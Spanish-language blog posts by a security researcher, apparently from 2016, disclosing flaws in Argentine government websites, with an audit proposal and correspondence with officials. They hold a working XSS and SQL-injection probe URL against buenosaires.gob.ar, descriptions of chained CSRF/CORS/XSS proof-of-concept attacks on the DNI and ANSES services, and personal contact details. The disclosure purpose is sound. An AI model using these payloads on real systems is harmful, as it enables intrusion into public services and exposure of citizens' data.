De nuevo un error 403 siendo administrado directamente por el servidor. Revelando información sobre el servidor y la versión siendo usadas, lo cual, le permite a un atacante, seleccionar, en caso de haber disponible, exactamente el exploit indicado para el servicio. IIS 8.5, luego podríamos buscar vulnerabilidades para IIS 8.5 y localizar: https://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-3427/version_id-174653/Microsoft-Internet-Information-Services-8.5.html, y https://www.cvedetails.com/cve/CVE-2014-4078/ informe que indica la presencia de fallas de seguridad en el servicio. De acuerdo al informe:

The IP Security feature in Microsoft Internet Information Services (IIS) 8.0 and 8.5 does not properly process wildcard allow and deny rules for domains within the “IP Address and Domain Restrictions” list, which makes it easier for remote attackers to bypass an intended rule set via an HTTP request, aka “IIS Security Feature Bypass Vulnerability.”

La vulnerabilidad fue publicada el 11/11 del 2014, hace ya dos años.

http://fsockopen.com/sec_pocs/fallas_nacionales/dni_secuencia_cors

Para finalizar, veamos 3 modelos de fallas “afiladas” o su expresión original en inglés “weaponizadas”. Lo que podemos ver abriendo el link, es una mecanismo de exploración haciendo uso combinado de diversas fallas de seguridad. Hice foco en el servicio de generación del nuevo DNI.

Lo que podemos observar es una falla de los headers vinculados al same-origin policy, eso hace posible poner la web en un iframe. Es posible crear las cookies desde el iframe, luego, se realizan cargas secuenciales en el mismo iframe, simulando una navegación del usuario, por medio del uso de AngularJS. Al finalizar el proceso de creación de las cookies, se llena un formulario y se envía, usando XSRF en combinación con las cookies generadas y la falla en CORS (https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS) se siguen llenando formularios y se frena habiendo generado un nuevo record en la base de datos.

http://fsockopen.com/sec_pocs/fallas_nacionales/dni_secuencia_cors_mayor_velocidad/

Decidí hacer una versión a mayor velocidad a fin de demostrar que es posible hacer diversos usos de las fallas localizadas. Como podemos observar, todas los mecanismos de seguridad son evadidos sin ninguna complicación, ya que los mecanismos de validación se basan en JS.

http://fsockopen.com/sec_pocs/fallas_nacionales/dni_secuencia_cors_mas_valocidad_xss

Se combinan las fallas de seguridad previas y se suma un XSS, además de eso, se eleva la velocidad a la que la información es enviada. Es necesario aclarar que el vinculo a comenzar puede ser removido, lanzando la función desde JS, sin hacer uso del botón.

Resumen general sobre la condición.

Las páginas web oficiales de la república poseen miles de fallas de seguridad, y solo he usado algunas que logré localizar en el fin de semana para probar una idea. Casi cualquier página finalizada en .gob.ar o .gov.ar posee una colección de fallas que haría posible a miles de personas bypasear los mecanismos de seguridad de las aplicaciones y servidores. A modo de referencia, hay una presencia amplia de:

Inyecciones SQL o posibles inyecciones SQL (no lo he comprobado)
XSS
Carencia de mecanismos de validación.
Mecanismos de validación basados en JS que pueden ser evadidos.
Revelación de información por medio de errores
Revelación de información por medio de headers de la aplicación.
XSRF/CSRF
Recursos web deprecados y/o abandonados, algunos con funcionalidad
Quedan debidamente informados de la situación actual.
Carencia de cualquier mecanismo para frenar una denegación de servicio.
Carencia de mecanismos básicos de seguridad que se usan como medidas básicas desde hace más de 10 años.
Carencia de headers que impidan el uso de las aplicaciones web por medio de iframes o bien, como recursos incluidos.
Inclusión de diversos recursos que corresponden a firmas americanas.
La inclusión de recursos no debería de ser hecha así, sino que deberían ser descargados, analizados, y luego empleados de manera local.
En especial cuando es el caso de mecanismos y servicios del gobierno de una nación.

La seguridad de las aplicaciones web nacionales no es buena, y corremos riesgos de que cualquier persona, desde cualquier lugar del mundo, viole los mecanismos de seguridad de las aplicaciones que poseemos en linea. El país posee profesionales capaces y dispuestos a hacerlo mucho mejor.

3. Plan de acción

Mi plan de acción original fue mencionado en el primer archivo .doc que he enviando, donde propongo:

Analizar la seguridad de cada una de las aplicaciones y servicios web de manera individual, para luego informar cada una de las fallas, y corregirlas en equipo con los programadores; a cambio de la remuneración que corresponda. Sin embargo, mi deseo es corregir las fallas de seguridad como sea que sea necesario, por lo cual, me dispongo acá a escuchar y seguir cualquier plan de acción formulado. Quiero llevar la seguridad de la web del país a los niveles que he ayudado a reforzar aplicaciones en diversos lugares.

4. Posibles formas

Me dispongo a hacer equipo con Uds, como empresa o como persona, en horario de oficina, o desde casa, o como sea necesario y consideren y prefieran en caso de que así quieran hacerlo, a fin de solucionar el problema de seguridad nacional.

Quedan debidamente informados y desde ya muchas gracias;
A su disposición,

Comments

comments

Servicios web de la república exponen información confidencial. (2)

20 septiembre, 201621 septiembre, 2016 chris

Una breve reseña sobre la condición y los avances en los problemas de seguridad en los servicios y páginas web del gobierno:

On Sep 13, 2016, at 11:26, Chris <chris.russo99@gmail.com> wrote:

Hola Daniel,Mil gracias por responder, parece que al final encontré a la persona! Brevemente sobre mi: soy un hacker / profesional en seguridad informática y programador, trabajé anteriormente para el gobierno de india donde fui a presentar ideas y realizar cursos más de 7 veces y corporaciones en Arabia saudita donde viví alrededor de un año. Lo que te comentaba por Linkedin, hay muchas, muchas páginas /servicios web nacionales que exponen o podrían exponer información pública o comprometernos de algún modo a los usuarios.

Preparé el documento que te envié por Linkedin como referencia, me gustaría ayudar a corregir estas fallas. ¿Qué día te parecería bien reunirnos?

Saludos cordiales;
Chris

El 20/09/2016 a las 08:54 a.m., Daniel Abadie escribió:

Christian

Perdón la demora,

El informe que me pasaste son todos temas de ciudad de buenos aires que no manejamos desde Nacion. Le reenvié el informe al equipo de ciudad.

Te copio con Diego Gonzalez, de la Dirección de Ciberseguridad, juntate con el.

Saludos

D.

—

Daniel Abadie

Subsecretario de Gobierno Digital

Ministerio de Modernización

Presidencia de la Nación Argentina

argentina.gob.ar

On Sep 20, 2016, at 20:29, Chris <chris.russo99@gmail.com> wrote:

Estimados Daniel y Diego,

El informe original enviado, usa como ejemplo solo algunas fallas de seguridad en la web del gobierno de la ciudad de Buenos Aires. Ya que decidí usarlas porque el documento original fue enviado a Maria Eugenia Vidal, que fue la primera persona con la cual logre ponerme en contacto por medio de un tercero.

No obstante, quizás mi contacto no fuera lo suficientemente viable como para obtener una respuesta válida.

Volviendo al punto anterior, las fallas de seguridad se encuentran presentes en casi todas y cada una de los servicios web y páginas oficiales de la república argentina y no solo la infraestructura del gobierno de la ciudad de Buenos Aires.

Les doy un ejemplo más:

Controlador: http://www.anses.gob.ar/oficina/suggest/json

Controlador vulnerable a XSRF: http://www.anses.gob.ar/oficina/suggest/json

Parámetro vulnerable a revelación de información, sanitización de parámetros insuficientes: $_POST[Needle]

Para que puedan ver la falla de seguridad en acción, cree la siguiente prueba de concepto en mi blog personal:

http://fsockopen.com/sec_pocs/anses_csrf_and_disclosure/

Puedo continuar mostrándoles fallas de seguridad en casi todas las páginas y servicios web de la república. No solo a nivel del gobierno.

Hace aproximadamente 2 días me comuniqué con el señor Andrés Horacio Ibarra, para informar las mismas fallas, quien me respondió lo siguiente:

Christian C. Russo a Andrés Horacio Ibarra: Hola Andrés, Mi nombre es Christian. Me encantaría hacer una reunión en persona contigo, para presentarte un plan que preparé para remediar muchísimas fallas de seguridad en servicios nacionales. Necesito que alguien me escuche, es impresentable el estado de la seguridad informática en Argentina, y vengo avisando desde hace más de 3 años ya… no doy con la persona. Por favor, una reunión. Saludos cordiales; Chris

(Conversación por medio de Linkedin)

Andrés Horacio Ibarra a Christian C. Russo: Christian, gracias por escribir y por haberte puesto a disposición. Te dejo un número de contacto de la Subsecretaría de Tecnología y Ciberseguridad, a cargo de José Hirschon, para que coordinen una reunión. 4343-7458 4343-9001 int. 293 Saludos.

(Conversación por medio de Linkedin)

Me comuniqué lo antes posible con el señor José Hirschon, quien no respondió el llamado y decidió dejar que su secretaria se ocupara del asunto. Le di mi número de teléfono para que me llame, aún no he tenido respuesta.

Lo único que estoy pidiendo es que me den la chance de corregir estas fallas de seguridad. Desconozco de quien es la responsabilidad de las mismas, pero en lo personal, no me importa, más allá de que sean desarrollos, hasta donde entiendo, realizados con fondos provenientes de impuestos nacionales. Creo que no es un tema menor, ¿sería posible organizar una reunión para articular un plan de acción a fin de resolver la situación?

Saludos cordiales;
Christian C. Russo

Comments

comments

Pages: 1 2 3

Servicios web de la república exponen información confidencial.

1 septiembre, 201620 septiembre, 2016 chris

<strong>El siguiente documento ha sido rechazado por el Gobierno de la provincia de Buenos Aires, dado que no hay presupuesto para llevarlo a cabo.</strong>

1	<strong>El siguiente documento ha sido rechazado por el Gobierno de la provincia de Buenos Aires, dado que no hay presupuesto para llevarlo a cabo.</strong>

Información General

Nos gustaría tomar la responsabilidad de llevar a cabo auditorias de seguridad extensivas en cada una de las infraestructuras del gobierno nacional y remediar cualquier falla de seguridad que pueda afectar a la estructura tecnológica de la nación argentina.

Creemos que es necesario realizar estas auditorias a fin, de ponerle fin, a cualquier falla de seguridad o vector que permita que se pueda extraer información sensible de nuestro gobierno, nuestra nación y los ciudadanos de la república.

Disponemos de un equipo de profesionales Argentinos, con una extensa experiencia de trabajo en organizaciones bancarias y gubernamentales de otros países, seriamente capacitados para llevar a cabo de esta tarea, y a su vez disponemos de todo el equipamiento necesario para realizarlo.

En la próxima página se presenta una lista detallada de las estructuras las cuales consideramos necesarias auditar.

A fin de llevar a cabo esta labor, proponemos hacer un análisis progresivo, analizando una por una cada una de las estructuras mencionadas.

Al finalizar el proceso de análisis presentaremos un documento de carácter confidencial, donde se detallen cada una de las fallas de seguridad y posibles riesgos, documentando a la vez como remediar los mismos.

Luego, nos ocuparemos de trabajar a la par de los equipos correspondientes para remediar cada uno de los posibles riesgos en su totalidad.

Una vez finalizada la primera estructura, pasaremos a repetir el mismo proceso en la segunda, y así sucesivamente hasta haber completado el análisis y haber realizado todas las modificaciones y refuerzos necesarios en los sistemas y la infraestructura.

Nos gustaría, a la vez, responsabilizarnos de brindar un seguimiento anual de cada una de estas estructuras, realizando nuevamente el mismo proceso de análisis (o auditoria), presentación del informe, y corrección de cada una de las fallas, un año después de realizar el primer análisis y así sucesivamente, para mantener la infra-estructura, actualizada a cada una de las posibles fallas de seguridad, vulnerabilidades y nuevos riesgos potenciales que vayan apareciendo año a año.

Proponemos analizar cada uno de los servicios online de la nación:

Superficie a analizar

http://www.buenosaires.gob.ar

https://mapa.buenosaires.gob.ar

http://www.gba.gob.ar

http://www.uba.ar

http://www.arzbaires.org.ar

http://www.agip.gob.ar

https://www.argentina.gob.ar

http://www.afip.gob.ar

http://www.anses.gob.ar

http://www.arba.gov.ar

http://comollego.ba.gob.ar

http://www.mininterior.gob.ar

https://tramitesweb.mininterior.gob.ar

http://www.cck.gob.ar

https://www.preciosclaros.gob.ar

https://www.sube.gob.ar

https://www.minem.gob.ar

http://www.produccion.gob.ar

http://www.justiciacordoba.gob.ar

http://www.cultura.gob.ar/

http://www.cnv.gob.ar/

http://www.cba.gov.ar

http://www.nollame.gob.ar

http://inta.gob.ar

http://www.mincyt.gob.ar

http://www.msal.gob.ar

http://www.celfi.gob.ar

http://www.inti.gob.ar/

http://www.datos.gob.ar

http://www2.ssn.gob.ar

http://www.enacom.gob.ar

http://www.mardelplata.gob.ar

http://tecnopolis.gob.ar

https://cnrt.gob.ar

http://www.diputados.gob.ar

http://www.conectarigualdad.gob.ar

http://consultapublica.jusbaires.gob.ar

https://comprar.gob.ar

http://www.abc.gov.ar

http://inversiones.gob.ar

http://www.agroindustria.gob.ar

http://www.srt.gob.ar

http://www.parquesnacionales.gob.ar

http://www.visaestudiantil.gob.ar

http://consumidor.gob.ar

http://ambiente.gob.ar

http://www.desarrollosocial.gob.ar

http://www.pjn.gov.ar

https://www.justicia2020.gob.ar

http://www.pakapaka.gob.ar

http://www.cordoba.gob.ar

http://www.sssalud.gov.ar

Y muchas más…

Tiempos

Consideramos una demora de 1 mes por equipo por cada una de las estructuras anteriormente mencionadas, hasta presentar el informe. Esto significa que comenzando por la primer estructura, tomará un mes, en realizar un análisis completo de la misma y crear el informe, informando cada una de las posibles fallas de seguridad.

No nos es posible calcular con precisión la demora estimada para remediar las fallas de seguridad y los riesgos presentes en las mismas infraestructuras, ya que en gran parte, estaremos sujetos a los tiempos y la cooperación de cada uno de los equipos técnicos responsables del desarrollo y la producción de cada una de las mismas. Sin embargo, consideramos que el proceso de corrección de las fallas de seguridad, podría demorar un máximo de 2 a 3 semanas adicionales, luego de presentar el informe.

Descripción gráfica del proceso

Se firma una aprobación oficial para realizar el análisis de www.buenosaires.gov.ar

Se comienza el proceso de análisis de la web y la infraestructura subyacente

Se crea un informe detallado de todos los posibles riesgos y fallas de seguridad

Se organiza una reunión con el equipo técnico responsable a fin de comenzar a remediar cualquier posible riesgo.

Se realizan las modificaciones necesarias, asegurándonos de que cada una de las fallas sean mitigadas en su totalidad.

Opcional: se brindará un informe final donde se expliquen los procesos realizados a fin de remediar las fallas de seguridad.

Para esta instancia la aplicación se encuentra completamente segura.

El mismo proceso se ha de llevar a cabo para cada una de las estructuras mencionadas en la página anterior. Logrando así, al finalizar, garantizar que toda la información gubernamental y de cada uno de los ciudadanos de la nación se encuentre segura.

Posibles dudas

Ya hemos realizado un análisis de seguridad en las webs y aplicaciones nacionales y no hay fallas.

La razón por la cual les hacemos llegar esta propuesta es porque ya hemos informado diversas fallas en las aplicaciones y páginas web de la nación, y hemos localizado, no solo simples fallas de seguridad, sino fallas de seguridad las cuales podrían exponer la nación a riesgos. No solo eso, sino que al ser aplicaciones web, son accesibles desde cualquier país o lugar del mundo, haciendo posible que una persona viole la seguridad de la infraestructura nacional desde cualquier parte del mundo. Consideramos que la nación no posee una seguridad web alguna. Cualquier agresor podría ser capaz de sacar, modificar o eliminar información del gobierno nacional.

¿Por qué es necesario analizar aplicaciones web que no son de mayor relevancia?

Una de las razones principales por las cuales se incluyen en la superficie de análisis diversas aplicaciones y web que han sido creadas sin un fin demasiado específico, es que muchas veces las páginas o aplicaciones web se ubican en servidores, los cuales, a su vez son usados por aplicaciones web de mayor relevancia. Violar la seguridad de una sola aplicación web menor, le podría dar lugar al agresor a acceder a la red de servidores, donde podría sacar y/o manipular información de una aplicación web de mayor relevancia ubicada en el mismo servidor o incluso en la misma red.

¿Es la primera vez que se proponen analizar la seguridad de las aplicaciones web nacionales?

No, nos hemos ofrecido a analizar y reforzar la seguridad de cada una de las aplicaciones web de la nación más de una vez, pero no hemos sido escuchados. Creemos que la seguridad web de una nación no es algo menor y el análisis y reparación de las fallas de seguridad debería de ser conducido con urgencia. No es verdaderamente importante quien realice estas auditorias, pero consideramos crucial que alguien finalmente se haga responsable y se lleven las mismas a cabo.

¿Cuán grabes son las fallas que dicen haber localizado en aplicaciones web de la nación?

Solo para usar como referencia, la web www.sssalud.gov.ar la cual corresponde a la superintendencia de servicios de salud, posee vulnerabilidades clasificadas como inyecciones SQL, las cuales hacen posible sacar, eliminar o modificar información, consideradas una falla de seguridad crucial.

En segundo lugar, podríamos mencionar www.buenosaires.gob.ar donde hay diversos errores de validación en los mecanismos de búsqueda, donde desde ya, podríamos informar, que dan lugar a una falla de seguridad conocida como XSS:

Del mismo modo que las dos aplicaciones web mencionadas a priori, la mayoría de páginas y aplicaciones web nacionales poseen grabes fallas de seguridad las cuales deberían de ser corregidas.

¿Cuáles son las aplicaciones web que habría que analizar? ¿Qué aplicaciones web hay con dominio .gob.ar?

A fin de descubrir que páginas, o aplicaciones web poseen dominios .gob.ar y/o corresponden al gobierno de la nación, lo ideal sería organizar una breve reunión con el equipo de nic.ar, una organización nacional cuya responsabilidad es la de ordenar, disponer, organizar y comercializar los nombres de dominio nacionales. Ellos son capaces de darnos la información de manera precisa. Sin embargo, en caso de no disponer de la cooperación de ellos, no sería, de mayor complicación conseguir la información precisa por medios propios.

¿Por dónde proponen comenzar?

Proponemos comenzar, con los recursos (aplicaciones o páginas web) aquellos los cuales, podamos disponer de manera más fácil los debidos permisos para realizar el análisis. De alguna manera, proponemos comenzar a analizar, por donde sea más fácil y rápido comenzar a analizar, para luego ir sumando los debidos permisos para el análisis de las aplicaciones o páginas web que corresponden a organizaciones nacionales exógenas, como podría ser, la web nacional del gobierno de córdoba (www.cordoba.gob.ar).

En caso de ser posible conseguir un solo permiso, el cual incluya el análisis de cada una de las aplicaciones y web nacionales, en ese caso, nos sería mucho más fácil la organización de los diversos análisis, ya que no sería necesario realizar una reunión de aprobación inicial con cada una de las organizaciones responsables.

Conclusión:

Al finalizar los análisis y las modificaciones de cada una de las estructuras online del gobierno nacional, vamos a haber logrado que la web nacional, por así decirlo, cada una de las páginas y aplicaciones web del gobierno de la república, sean de las más seguras del mundo. Tan seguras como las páginas, y aplicaciones webs del gobierno de USA o cualquier país de Europa.

Nuevas formulaciones:

Hemos recibido algunas formulaciones adicionales que han de ser aclaradas:

¿Cuál es la razón por la cual el análisis debería de ser llevado a cabo por una organización privada?
¿Quién llevará a cabo los análisis y cuál es la experiencia previa de la empresa?
¿Cuáles son los riesgos a los cuales las aplicaciones y páginas webs nacionales se hayan expuestos?
¿Cuáles podrían ser las consecuencias del abuso de las fallas de seguridad?
¿Cómo el análisis y corrección de la web del gobierno de la nación ayudarían a la seguridad nacional y la de los ciudadanos?
¿De qué manera el análisis de las aplicaciones y páginas web de la nación, haría más segura la comunicación confidencial?
¿Por qué consideran que la condición de seguridad de la web nacional al día de la fecha da la impresión que nadie se hace cargo?
¿Se podrían dar algunos casos modelos donde se vea la ineficiencia de la seguridad?
¿Cuáles son las responsabilidades de la empresa que llevará a cabo los análisis?
¿Cuál es el alcance de las mismas responsabilidades?
¿Qué pasaría si surge alguna una emergencia una vez firmado los acuerdos y luego de comenzar los análisis?
¿Cómo se propone resolver esas emergencias y cómo se definen los responsables?
¿Qué se requiere del Gobierno a fin de comenzar?
¿Cuáles son los precios para realizar el análisis?
¿Cuál es el plan de acción, por donde se comenzaría?
¿Qué clase de acuerdos se firmaría previo a comenzar los análisis?

(1) ¿Cuál es la razón por la cual el análisis debería de ser llevado a cabo por una organización privada?

Diversas organizaciones y organismos, públicos y privados realizan auditorias de seguridad informática sobre sus sistemas cada año y en la mayoría de los casos, estas auditorías son realizadas por organizaciones privadas, dado que disponen de mayores recursos económicos y personal especializado que las organizaciones públicas creadas para el mismo fin.

Una de las organizaciones privadas más conocidas es la empresa estadounidense normalmente conocida como Booz Allen, con su sede central en Fairfax, Virginia. De acuerdo con Wikipedia he información de acceso público:

“Su negocio principal gira en torno a la prestación de servicios de consultoría, gestión, tecnología y seguridad, servicios que presta sobre todo a agencias gubernamentales civiles como contratista del gobierno y a agencias de defensa e inteligencia como contratista de defensa.”

“Sus servicios incluyen planificación estratégica, educación, comunicaciones, mejoras operativas, gestión de capital humano, ingeniería de sistemas, gestión de programas, seguridad y capacidad de recuperación y análisis económico”

“En 2013 la empresa adquirió notoriedad mediática cuando uno de sus empleados, Edward Snowden, cometió el quizás mayor robo de documentos secretos en la historia de Estados Unidos, que sacó a la luz la red de vigilancia mundial que poseen las agencias de inteligencia de varios países y la colaboración en ella de la propia empresa.”

Booz Allen dispone de más de 22,000 profesionales y un market capital de $4.53 mil millones de dólares estadounidenses. Sus ingresos anuales rondan los $5480 millones de dólares.

Referencias:
https://finance.yahoo.com/quote/BAH
https://es.wikipedia.org/wiki/Booz_Allen_Hamilton

Sin embargo, la realidad es que no hay ninguna razón para que las auditorías de seguridad y las reformas en las aplicaciones sean llevadas a cabo por una organización privada, o bien por nosotros mismos. Lo que es en verdad importante, es que las mismas sean realizadas, que sean realizadas por profesionales que verdaderamente sepan realizarlas y que sean hechas con urgencia.

(2) ¿Quién llevará a cabo los análisis y cuál es la experiencia previa de la empresa?

Las aplicaciones y páginas web de la nación serán analizadas y remediadas por un equipo de profesionales de seguridad, a quienes consideramos apropiados para llevar a cabo la labor.

Dado que la mayoría de los mismos profesionales brindan servicios de seguridad a diversas organizaciones alrededor del mundo, de manera independiente o bien, por medio de sus propias compañías; proponemos la formación de una nueva organización privada la cual agrupe a los mismos profesionales quienes consideramos más apropiados para realizar la labor.

En lo personal creo que el país dispone de varios, sino muchos profesionales en verdad con años de experiencia en el campo de la seguridad, y a quienes conozco de manera personal y ya hemos realizado esfuerzos en equipo.

Como experiencias previas, en lo personal, si bien, muchos de los casos implican acuerdos de confidencialidad que no permiten revelar información, se podría mencionar:

7 vuelos a India donde he conducido cursos y charlas de seguridad para diversas áreas del Gobierno de India
Incluyendo la cámara de comercio, desde el 2010 al día de la fecha.
Alrededor de un año y medio brindando servicios para organizaciones bancarias y financieras en Saudi Arabia.
Varias informes a compañías y empresas alrededor del mundo sobre riesgos cruciales y fallas de seguridad.
El desarrollo de diversas aplicaciones que realizan pruebas de seguridad avanzadas.

(3) ¿Cuáles son los riesgos a los cuales las aplicaciones y páginas webs nacionales se hayan expuestos?

Es imposible especificar con precisión a qué riesgos las aplicaciones se encuentran actualmente expuestas, sin realizar un análisis adecuado primero, y para eso es necesario disponer de permisos y aprobaciones.

Sin embargo, en lo personal, creo con sinceridad que varias de las aplicaciones y páginas web nacionales podrían ser “hackeadas” ahora mismo, a la hora que escribo el informe. Los riesgos implican: la posibilidad de robar y hacer pública cualquier información confidencial que se ubique en los servidores, modificar la información con cualquier fin, remplazar o manipular la información…

Cualquier persona que logre acceso a los servidores, sería capaz de realizar lo que quisiera con la información disponible en los mismos, desde copiarla y salir sin realizar ningún daño, a remplazar la página principal colocando imágenes ofensivas o de cualquier índole.

(4) ¿Cuáles podrían ser las consecuencias del abuso de las fallas de seguridad?

Considero que ya han sido nombradas algunas de las posibles consecuencias. Pero podríamos expandir mencionando algunos casos donde fallas de seguridad en aplicaciones y servicios web hayan causado consecuencias a nivel nacional:

(5) ¿Cómo el análisis y corrección de la web del gobierno de la nación ayudarían a la seguridad nacional y la de los ciudadanos?

Pido disculpas por la comparación de la cual haré uso. Pero de alguna manera sería como decir “¿Cómo analizar y corregir edificios que podrían derrumbarse ahora mismo en el medio de la ciudad podría ayudar a la seguridad nacional y la de los ciudadanos?”

La seguridad de las aplicaciones web de cada uno de los gobiernos de la república no es un problema menor. Las mismas poseen información confidencial, información económica sobre cada uno de los ciudadanos de la república. El hecho de que se pueda considerar la posibilidad de que la seguridad de las mismas no sea buena, requiere, en mi humilde opinión una acción rápida y con urgencia para remediar las condiciones.

Considero que una sola falla de seguridad en la infraestructura de organizaciones como la AFIP, o la ANSES, por nombrar dos, podrían exponer y conllevar un riesgo para cada uno de los ciudadanos de la república.

(6) ¿De qué manera el análisis de las aplicaciones y páginas web de la nación, haría más segura la comunicación confidencial?

El análisis de las aplicaciones y páginas web de la nación no haría más segura la comunicación confidencial, sino la información confidencial de cada uno de los ciudadanos de La nación.

(7) ¿Por qué consideran que la condición de seguridad de la web nacional al día de la fecha da la impresión que nadie se hace cargo?

Quizás sea una de las más complicadas de responder. Comencemos por una observación: el hecho de que la página web del gobierno de la ciudad de Buenos Aires (www.buenosaires.gob.ar) no haga uso de manera global de comunicaciones seguras (conocido como HTTPS), desde ya no es un buen indicio. Es claro que la página web del gobierno de la ciudad de Buenos Aires, es una de las páginas web con mayor frecuencia de revisiones y modificaciones en la república, por lo cual, una falla de seguridad en www.buenosaires.gob.ar implicaría o daría lugar a deducir que varias de las demás aplicaciones del gobierno nacional se hayan en condiciones iguales o peores.

Luego de realizar algunas pruebas básicas y no ofensivas, se pueden observar fallas de seguridad conocidas como XSS en www.buenosaires.gob.ar, lo cual hace que las cosas sean ya un poco más serias. La presencia de una falla clasificada como XSS implica que los ingenieros a cargo de la aplicación no revisaron por lo menos uno de los campos donde hay información enviada por el usuario.

Si bien una falla de seguridad como XSS es clasificada una falla de seguridad mayor, o de riesgo elevado, lo que en verdad es peor, es que las condiciones para que se genere una falla de XSS son las mismas, que para una segunda clasificación o grupo de posibles fallas de seguridad conocidas como “inyecciones SQL”, dado que ambas fallas comienzan en el mismo principio: La aplicación no realiza las validaciones necesarias, previo a operar con información enviada por el usuario.

La página web del gobierno de la ciudad de Buenos Aires, realiza decenas de operaciones online, incluyendo operaciones financieras donde se pueden realizar pagos por medio de Visa, American Express, y más. A la vez, la página web del gobierno de la ciudad de Buenos Aires, posee una larga sección denominada “TAD” la cual da la posibilidad de realizar operaciones online. Por lo cual, se puede asumir que la red almacena grandes volúmenes de información clasificada. Considerando eso, el abuso de una falla de seguridad como una inyección SQL sería un problema serio de nacional.

(8) ¿Se podrían dar algunos casos modelos donde se vea la ineficiencia de la seguridad?

Como podemos ver en el primer caso, la aplicación funciona de forma normal. Devuelve información sobre diversas páginas con información sobre la búsqueda, devuelve la posibilidad de seleccionar una fecha para refinar los mecanismos de búsqueda, devuelve una paginación al final de la columna principal. Y podemos observar como al comienzo, la búsqueda del usuario aparece en una medida especificada.

En el segundo caso, se puede observar lo que se conoce o denomina XSS, una falla de seguridad sería que podría ser abusada de diversas maneras. Para comenzar, podemos ver que la palabra “no” es más grande, ya que la dirección (la URL pedida por medio del buscador de la aplicación) realiza una inyección de HTML. La inyección de HTML es inocua, pero inofensiva, y alcanza para probar la presencia de un XSS. La información enviada por el usuario no es analizada en lo más mínimo previo a ser procesada, lo cual da lugar a cualquier usuario con experiencia a realizar modificaciones, acciones e inyecciones de mayor volumen y más agresivas sobre la aplicación.

Veamos un caso un poco más avanzado, de la misma falla:

http://www.buenosaires.gob.ar/bweb/search?keys=%3Ca%20style=%22font-size:90px;%20color:%20red;%20line-height:60px;%20text-transform:uppercase;%22%3Easi%20es%20como%20no%20deberia%20de%20responder%3C/a%3E%3Cbody%20style=%22background:%20black;%20color:%20white;%22%3E&q=bweb/search&facet_year=2014%22%20ORDER%20BY%2012123&page=1

Eso es una inyección un poco más armada, pero a la vez inofensiva, ya que no realiza cambios cruciales en la aplicación (los cuales podrían realizarse en caso de que eso fuera lo que se desee). En el caso final, podemos observar como el usuario puede manipular el color de fondo de la aplicación y colocar información a su disposición.

Pueden pasar por desapercibidos, quizás, dos de los ángulos más peligrosas del caso:

1) El parámetro &facet_year, lleva asignado el valor 2014″. El uso de comillas dobles al final del valor, genera lo que arriba se puede observar como un simple error, “Server not available”, ese error, para los buenos observadores, es la única frase en inglés visible en la web oficial del gobierno de la ciudad de Buenos Aires, y no es generado por la falla la cual mencionamos como XSS, sino que es el posible comienzo de una falla aún mayor, clasificada como “inyección SQL”, en caso de ser así, podría dar lugar a acceder a la información de cada una de las operaciones realizadas por “TAD”.

2) Y para el final, en mi experiencia, lo más peligroso: las 2 fallas acá informadas, el XSS y lo que podría ser, (muy probable) una inyección SQL o al menos, una falla de seguridad relacionada la base SQL, ¡se hayan al comienzo de la aplicación! En el mismo campo de búsqueda de la página de inicio de la web oficial del gobierno de la Ciudad de Buenos Aires (www.buenosaires.gob.ar). En mi experiencia personal, si es posible localizar una falla de seguridad en las secciones de acceso de una aplicación web (donde los ingenieros y programadores suelen asignar mayor volumen de horas para la creación y el análisis), es deducible que podríamos observar muchísimos más casos aún más graves y con mayores riesgos (aunque ya no es posible que sea mucho más riesgoso) en las secciones menos usadas de la aplicación.

Ahora, habiendo realizado un breve análisis solo de la primera sección, de buenosaires.gob.ar, la cual sea, quizás una de las páginas más cruciales y desarrolladas de la republica hemos localizado una posible inyección SQL y XSS. ¿Qué podríamos esperar de las secciones menos usadas de la misma y qué podríamos esperar de las aplicaciones web menos usadas?

Es por eso que podríamos deducir con facilidad que la seguridad de las aplicaciones web nacionales es simplemente inaceptable.

(9) ¿Cuáles son las responsabilidades de la empresa que llevará a cabo los análisis?

La responsabilidad de la empresa es la de resolver con urgencia y de manera adecuada y profesional, cada una de las fallas de seguridad en las aplicaciones del gobierno nacional. Llevando a cabo cada uno de los procesos mencionados en la página 6.

(10) ¿Cuál es el alcance de las mismas responsabilidades?

La empresa llevará a cabo una por una las auditorías de seguridad, para luego resolver los problemas de seguridad en equipo (o no) con los ingenieros a cargo de la web de la organización responsable. Al cabo de un año, la empresa propone volver a analizar cada una de las estructuras a fin de corregir posibles nuevas fallas de seguridad, manteniendo así la seguridad actualizada. Si bien, muchas organizaciones y empresas consideran realizar auditorías de seguridad cada 6 meses, no consideramos que sea necesario.

(10) ¿Cuál es el alcance de las mismas responsabilidades?

(12) ¿Cómo se propone resolver esas emergencias y cómo se definen los responsables?

Bien, la resolución de emergencias, conocido en inglés como “DRP” no es nada nuevo, ni para nada difícil. El proceso se realiza así:

Se realiza una copia de cada una de las aplicaciones web, bases de información, servidores, y aplicaciones las cuales se desea salvar.
Las réplicas, se conservan siempre offline y sincronizadas con las versiones originales. Por lo cual no es posible acceder a las mismas.
Pero poseen siempre la misma información que la versión online y accesible del modelo original.
Un agresor logra acceder a un servidor del gobierno y elimina información o remplaza algo.
Se inicia la secuencia de recuperación de emergencias.
- Se suspende el servicio/servidor/aplicación, para prevenir que el agresor robe información o siga violando la seguridad.
- Se revisa la información de acceso en el servidor para ver de qué manera el agresor logró ganar acceder.
- Se modifica la réplica corrigiendo las fallas de seguridad que le dieron acceso al agresor, y/o remplazando los passwords de acceso.
- Se crea una nueva réplica del servicio/servidor/aplicación basada en la versión recién modificada de la misma.
- Se remplaza el servicio, servidor o aplicación original por la réplica segura del mismo.
Con eso se considera finalizado el proceso de recuperación de emergencias y se comienza el proceso forense a fin de localizar al responsable.

Cómo podemos ver, de muchas maneras la resolución de emergencias en IT se lleva a cabo realizando un remplazo rápido de la unidad damnificada, disponiendo siempre de una copia de emergencia. Previo a colocar la nueva “unidad” la misma es corregida, remediando así el error o la falla de seguridad que le dio acceso al agresor en primera ocasión.

(12) ¿Cómo se definen los responsables?

El responsable es sin lugar a dudas la persona que viola la seguridad del servidor fin de acceder a información clasificada con cualquier fin, de acuerdo a leyes nacionales. Del mismo modo podríamos comprar el caso de un ladrón y un policía. El policía posee el compromiso de llevar a cabo cualquier medida que su físico y la ley aprueben a fin de frenar un crimen. Sin embargo, en caso de lograr frenarlo o no lograr frenarlo, el responsable del crimen es quien lleva a cabo el mismo.

(13) ¿Qué se requiere del Gobierno a fin de comenzar?

